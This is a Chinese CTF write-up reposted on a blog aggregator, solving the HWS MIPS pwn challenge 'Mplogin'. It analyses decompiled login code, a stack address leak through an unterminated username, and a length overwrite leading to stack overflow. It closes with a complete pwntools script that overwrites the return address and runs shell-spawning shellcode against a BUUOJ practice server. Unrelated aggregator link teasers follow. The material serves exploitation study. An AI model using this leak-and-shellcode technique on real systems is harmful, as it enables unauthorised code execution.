HWS赛题 入门 MIPS Pwn-Mplogin(MIPS_shellcode)

news2024/10/10 23:56:46

解题所涉知识点:

泄露或修改内存数据:

  1. 堆地址:
  2. 栈地址:栈上数据的连带输出(Stack Leak) && Stack溢出覆盖内存
  3. libc地址:
  4. BSS段地址:
    劫持程序执行流程:[[MIPS_ROP]]
    获得shell或flag:MIPS_Shellcode

题目类型:
MIPS_Pwn

相关知识点:

strncmp的利用
MIPS 与 x86 函数栈帧的开辟和恢复对比

信息收集总结

题目信息:

┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/Mplogin]
└─$ file Mplogin  
Mplogin: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
                                                                                                                    
┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/Mplogin]
└─$ checksec --file=Mplogin 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified   Fortifiable     FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   No Symbols      No      0  3Mplogin

libc版本:
wp借鉴:HWS赛题 入门 MIPS Pwn | Clang裁缝店 (xuanxuanblingbling.github.io)
mips pwn入门指北 | waddle’s blog (mikokuma.github.io)
异构 Pwn 之 Mips32 | 狼目安全 (lmboke.com)
MIPS PWN 入门 – itewqq’s blog
MIPS PWN学习 - 先知社区 (aliyun.com)

程序运行回馈

┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/Mplogin]
└─$ qemu-mipsel -L ./ Mplogin 
-----we1c0me t0 MP l0g1n s7stem-----
Username : 123456                                                                                                   
                                                                                                                    
┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/Mplogin]
└─$ tree -N -L 2              
.
├── lib
│   ├── ld-uClibc.so.0
│   └── libc.so.0
└── Mplogin

2 directories, 3 files

┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/Mplogin]
└─$ qemu-mipsel  -L ./ Mplogin  | hexdump -C
00000000  1b 5b 33 33 6d 2d 2d 2d  2d 2d 77 65 31 63 30 6d  |.[33m-----we1c0m|
00000010  65 20 74 30 20 4d 50 20  6c 30 67 31 6e 20 73 37  |e t0 MP l0g1n s7|
00000020  73 74 65 6d 2d 2d 2d 2d  2d 0a 1b 5b 33 34 6d 55  |stem-----..[34mU|
adminaaaaaaaaaaaaaaaaaa
00000030  73 65 72 6e 61 6d 65 20  3a 20 43 6f 72 72 65 63  |sername : Correc|
00000040  74 20 6e 61 6d 65 20 3a  20 61 64 6d 69 6e 61 61  |t name : adminaa|
00000050  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  |aaaaaaaaaaaaaaaa|
00000060  0a b0 ae 2a 2b 90 0b 40  1b 5b 33 31 6d 50 72 65  |...*+..@.[31mPre|
accessaaaaaaaaaaaaaaa
00000070  5f 50 61 73 73 77 6f 72  64 20 3a 20 50 61 73 73  |_Password : Pass|
012345678911111111111111111111111111111
qemu: uncaught target signal 10 (Bus error) - core dumped
00000080  77 6f 72 64 20 3a 20 43  6f 72 72 65 63 74 20 70  |word : Correct p|
00000090  61 73 73 77 6f 72 64 20  3a 20 2a 2a 2a 2a 2a 2a  |assword : ******|
000000a0  2a 2a 2a 2a 0a                                    |****.|
000000a5
zsh: bus error  qemu-mipsel -L ./ Mplogin | 
zsh: done       hexdump -C

核心伪代码分析:

存在利用的的代码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // $a2
  int len; // [sp+18h] [+18h]

  setbuf(stdin, 0, envp);
  setbuf(stdout, 0, v3);
  printf("\x1B[33m");
  puts("-----we1c0me t0 MP l0g1n s7stem-----");
  len = checkuser();
  checkpassword(len);
  printf("\x1B[32m");
  return puts("Now you getshell~");
}
int checkuser()
{
  char user[24]; // [sp+18h] [+18h] BYREF

  memset(user, 0, sizeof(user));
  printf("\x1B[34m");
  printf("Username : ");
  read(0, user, 24);
  if ( strncmp(user, "admin", 5) )
    exit(0);
  printf("Correct name : %s", user);
  return strlen(user);
}

由于没有处理输入结尾,并可以填满栈上的缓冲区,导致再次打印时,栈上的数据会被泄露!

成功泄漏出栈上地址!

int __fastcall sub_400978(int len)
{
  char buf[20]; // [sp+18h] [+18h] BYREF
  int len1; // [sp+2Ch] [+2Ch]
  char pass[36]; // [sp+3Ch] [+3Ch] BYREF

  len1 = len + 4;
  printf("\x1B[31m");
  printf("Pre_Password : ");
  read(0, buf, 36);
  printf("Password : ");
  read(0, pass, len1);
  if ( strncmp(buf, "access", 6) || strncmp(pass, "0123456789", 10) )
    exit(0);
  return puts("Correct password : **********");
}

这个函数首先可以输入溢出覆盖v3这个变量,再次输入时由v3变量控制长度导致栈溢出

MIPS 的开辟和恢复栈帧:

.text:00400A2C 03 C0 E8 25                 move    $sp, $fp
# 将帧指针 $fp 的值恢复到栈指针 $sp,撤销函数调用时对栈的修改,恢复函数调用前的栈状态。

.text:00400A30 8F BF 00 7C                 lw      $ra, 0x58+var_s24($sp)
# 从栈中偏移 0x7C 的位置恢复返回地址寄存器 $ra,这个值是在函数进入时保存的,用于返回到调用函数。

.text:00400A34 8F BE 00 78                 lw      $fp, 0x58+var_s20($sp)
# 从栈中偏移 0x78 的位置恢复帧指针 $fp,这个值是函数调用之前的帧指针,恢复之前的栈帧结构。

.text:00400A38 8F B7 00 74                 lw      $s7, 0x58+var_s1C($sp)
# 从栈中偏移 0x74 的位置恢复保存的寄存器 $s7 的值。

.text:00400A3C 8F B6 00 70                 lw      $s6, 0x58+var_s18($sp)
# 从栈中偏移 0x70 的位置恢复保存的寄存器 $s6 的值。

.text:00400A40 8F B5 00 6C                 lw      $s5, 0x58+var_s14($sp)
# 从栈中偏移 0x6C 的位置恢复保存的寄存器 $s5 的值。

.text:00400A44 8F B4 00 68                 lw      $s4, 0x58+var_s10($sp)
# 从栈中偏移 0x68 的位置恢复保存的寄存器 $s4 的值。

.text:00400A48 8F B3 00 64                 lw      $s3, 0x58+var_sC($sp)
# 从栈中偏移 0x64 的位置恢复保存的寄存器 $s3 的值。

.text:00400A4C 8F B2 00 60                 lw      $s2, 0x58+var_s8($sp)
# 从栈中偏移 0x60 的位置恢复保存的寄存器 $s2 的值。

.text:00400A50 8F B1 00 5C                 lw      $s1, 0x58+var_s4($sp)
# 从栈中偏移 0x5C 的位置恢复保存的寄存器 $s1 的值。

.text:00400A54 8F B0 00 58                 lw      $s0, 0x58+var_s0($sp)
# 从栈中偏移 0x58 的位置恢复保存的寄存器 $s0 的值。

........

.text:00400A58 27 BD 00 80                 addiu   $sp, $sp, 0x80
# 恢复栈指针 $sp,撤销函数调用时分配的栈空间(即加回 0x80 字节)。

.text:00400A5C 03 E0 00 08                 jr      $ra
# 跳转到 $ra 保存的返回地址,结束当前函数并返回到调用函数。

.text:00400A60 00 00 00 00                 nop
# 无操作(NOP),这是一个占位指令,通常用来避免延迟槽问题。

发现栈地址是可以执行可读写的:

攻击思路总结

在输入user时候,输入admin时候就可以通过验证,由于字符串对比是使用strncmp函数对比所以可以通过输入超过adminaaaaaa既可以验证成功又可以连带输出栈上的地址,获得栈上地址后!就可以劫持返回地址并且再栈上写入shellocde这样就可以成功执行了

脚本:

import argparse
from pwn import *
from LibcSearcher import *

# Parse command-line arguments
parser = argparse.ArgumentParser(description='Exploit script.')
parser.add_argument('-r', action='store_true', help='Run exploit remotely.')
parser.add_argument('-d', action='store_true', help='Run exploit in debug mode.')
args = parser.parse_args()

pwnfile = './Mplogin'
elf = ELF(pwnfile)
context(log_level='debug', arch=elf.arch, os='linux')

is_remote = args.r
is_debug = args.d

if is_remote:
    sh = remote('node5.buuoj.cn', 26456)
else:
    if is_debug:
        sh = process(["qemu-mipsel", "-L", "./", "-g", "1234", pwnfile])
    else:
        sh = process(["qemu-mipsel", "-L", "./", pwnfile])

def mygdb():
    if not is_remote and is_debug:
        gdb.attach(sh, """target remote localhost:1234
                            b *0x4008C8
			""")  # brva 0xe93
mygdb()
# leak stack(old fp)
sh.sendafter("name : ",'admin'.ljust(0x18,'a'))
sh.recvuntil("Correct name : ");
sh.recv(0x18)
stack = u32(sh.recv(4))

# stack overflow
sh.sendafter("Pre_Password : ",b"access".ljust(0x14,b'2')+p32(0x100))
sh.sendafter("Password : ",b"0123456789".ljust(0x28,b"2")+p32(stack)+asm(shellcraft.sh()))

sh.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2203559.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

关于css文字下划线动画实现

直接上代码 html部分 <div><span class"txt">文字下滑动画</span></div>css部分 .txt {background: linear-gradient(270deg, #4f95fd 0%, #1059df 100%) no-repeat left bottom;background-size: 0px 2px;background-position-x: right;tr…

汽车微控制器 (MCU)市场报告:未来几年年复合增长率CAGR为5.8%

汽车微控制器是一种高度集成的电路芯片&#xff0c;集成了中央处理器&#xff08;CPU&#xff09;、存储器&#xff08;ROM、RAM、EEPROM等&#xff09;和各种输入输出接口&#xff08;I/O&#xff09;&#xff0c;能够通过软件编程实现对汽车各种电子设备的控制和管理。在汽车…

字符设备驱动模块 dev和misc

字符设备驱动模块 用户空间和内核空间数据拷贝&#xff1a; copy_from_user(); 用户空间数据传给内核 copy_to_user(); 内核数据传给用户空间 动态和静态分别编译 设置Kconfig属性 编译内核文件&#xff08;静态、动态内核文件&#xff09; 启动动态驱动模块 查看动态驱动…

深度学习每周学习总结J2(ResNet-50v2算法实战与解析 - 鸟类识别)

&#x1f368; 本文为&#x1f517;365天深度学习训练营 中的学习记录博客&#x1f356; 原作者&#xff1a;K同学啊 | 接辅导、项目定制 目录 0. 总结1. 设置GPU2. 导入数据及处理部分3. 划分数据集4. 模型构建部分5. 设置超参数&#xff1a;定义损失函数&#xff0c;学习率&a…

Web开发:总结常见的批处理脚本(.bat)

一、一键复制多个文件 echo off setlocalset source01.pngcopy "%source%" "a.png" copy "%source%" "b.png" copy "%source%" "c.png"endlocal说明&#xff1a; 将上述代码复制到一个新的文本文件中。将文件保…

4.STM32-中断

STM32-中断 需求&#xff1a;红灯每两秒进行闪烁&#xff0c;按键key1控制绿灯亮灭 简单的程序代码无法满足要求 如何让STM32既能执行HAL_DELAY这种耗时的任务&#xff0c;同时又能快速响应按键按下这种突发情况呢 设置中断步骤 1.接入中断 将KEY1输入模式由原先的GPIO_In…

React学习02 -事件处理、生命周期和diffing算法

文章目录 react事件处理非受控组件受控组件高阶函数函数柯里化 生命周期引出生命周期旧版生命周期新版生命周期 Diffing算法 react事件处理 1.react通过onXXX属性指定事件处理函数&#xff0c; a.react使用的是自定义事件&#xff0c;将原生js事件方法重写并改为小驼峰写法&am…

大数据新视界 --大数据大厂之大数据驱动下的物流供应链优化:实时追踪与智能调配

&#x1f496;&#x1f496;&#x1f496;亲爱的朋友们&#xff0c;热烈欢迎你们来到 青云交的博客&#xff01;能与你们在此邂逅&#xff0c;我满心欢喜&#xff0c;深感无比荣幸。在这个瞬息万变的时代&#xff0c;我们每个人都在苦苦追寻一处能让心灵安然栖息的港湾。而 我的…

前端自定义指令控制权限(后端Spring Security)

1. 新建 directives/auth.ts &#xfeff; &#xfeff; //导入自定义指令 import auth from /directives/auth// 注册全局自定义指令 v-auth app.directive(auth, auth);&#xfeff;1.1完整的authDirective.ts import { wmsStore } from "/store/pinia"// 判断用…

dmdfm5安装部署

dmdfm5安装部署 1 环境说明2 命令行安装dmfdm52.1 创建 dmdba 用户2.2 命令行安装 dmdfm2.3 配置自启动脚本服务2.4 web端 访问 dmdfm 3 安装过程错误记录4 更多达梦数据库学习使用列表 1 环境说明 cpu x86OS 麒麟v10(sp2)dmfdm5 版本 : dmdfm_V5.0.1.1_rev157137_x86_linux_6…

计算机网络803-(4)网络层

目录 1.虚电路服务 虚电路是逻辑连接 2.数据报服务 3.虚电路服务与数据报服务的对比 二.虚拟互连网络-IP网 1.网络通信问题 2.中间设备 3.网络互连使用路由器 三.分类的 IP 地址 1. IP 地址及其表示方法 2.IP 地址的编址方法 3.分类 IP 地址 &#xff08;1&#x…

双通讯直流电能计量装置功能介绍

DJSF1352系列电子式直流电能表是为满足现代直流电力计量需求而设计的高性能设备。其主要特点包括液晶显示和RS485通讯功能&#xff0c;方便与微机进行数据交互&#xff0c;适用于充电桩、蓄电池、太阳能电池板等多种直流信号设备的电量监测。该产品由测量单元、数据处理单元、通…

python数学运算库numpy的使用

数组 numpy创建数组的方法 可以用np.array()将一个列表作为参数 import numpy as npd1 np.array(range(1,7))print(d1) # 输出数据 print(d1.size) # 输出元素个数 print(d1.ndim) # 输出数组维度 print(d1.shape) # 输出数组形状&#xff08;长宽高&#xff09; 可以…

pdf合并成一个文件,揭秘四款好用软件!

在这个数字化时代&#xff0c;PDF文件已成为我们工作、学习和生活中不可或缺的一部分。无论是报告、合同、还是学术论文&#xff0c;PDF以其跨平台兼容性和良好的格式保持性赢得了广泛青睐。然而&#xff0c;面对多个PDF文件需要合并成一个完整文档时&#xff0c;你是否也曾感到…

对于JS脚本加标签功能的一些小理解

在JS中加标签&#xff0c;最主要的应用场景就是结合循环代码使用。用标签标识循环或者代码块&#xff0c;以便使用break 和 continue语句来结束循环。个人觉得标签加循环的本质作用是为了增加性能&#xff0c;减少运行代码行&#xff0c;以便提速。示例如下&#xff1a; 打印输…

Leetcode.20 有效的括号

关键词&#xff1a;vector, push_back(), pop_back(), stack, push(), pop(), top() 1.题目 2.解答思路及解答 解答思路&#xff1a; 左括号需要一个相同的括号&#xff0c;如果是括号嵌套的方式&#xff0c;可以类比“回文数”那题&#xff0c;利用双下标或者双指针遍历。 …

shell 脚本批量更新本地git仓库

文章目录 一、问题概述二、解决方法三、运行效果1. windows2. centos 一、问题概述 你是否遇到这样的场景&#xff1a; 本地git仓库克隆了线上的多个项目&#xff0c;需要更新时&#xff0c;无法象svn一样&#xff0c;选中多个项目一起更新。 只能苦逼的一个个选中&#xff0c…

【解决办法】git clone报错unable to access ‘xxx‘: SSL certificate problem

git clone 是 Git 版本控制系统中的一个基本命令&#xff0c;用于从远程仓库复制一个完整的版本库到本地。这个命令不仅复制远程仓库中的所有文件&#xff0c;还复制仓库的历史记录&#xff0c;使得你可以在本地进行版本控制操作&#xff0c;如提交&#xff08;commit&#xff…

YOLO11改进|SPPF篇|引入YOLOv9提出的SPPELAN模块

目录 一、【SPPELAN】模块1.1【SPPELAN】模块介绍1.2【SPPELAN】核心代码 二、添加【SPPELAN】模块2.1STEP12.2STEP22.3STEP32.4STEP4 三、yaml文件与运行3.1yaml文件3.2运行成功截图 一、【SPPELAN】模块 1.1【SPPELAN】模块介绍 下图是【SPPELAN】的结构图&#xff0c;让我们…

AI产品经理面试100问,三天看完一周拿5个offer

Attention(重点掌握) 1.什么是 Attention?为什么要用 Attention?它有什么作用? 2.Attention的流程是什么样的? 3.普通的Attention和Transformer的Self-attention之间有什么关系? 4.什么是Self-attention? Transformer(重点掌握) 1.Transformer是什么&#xff0c;它的基…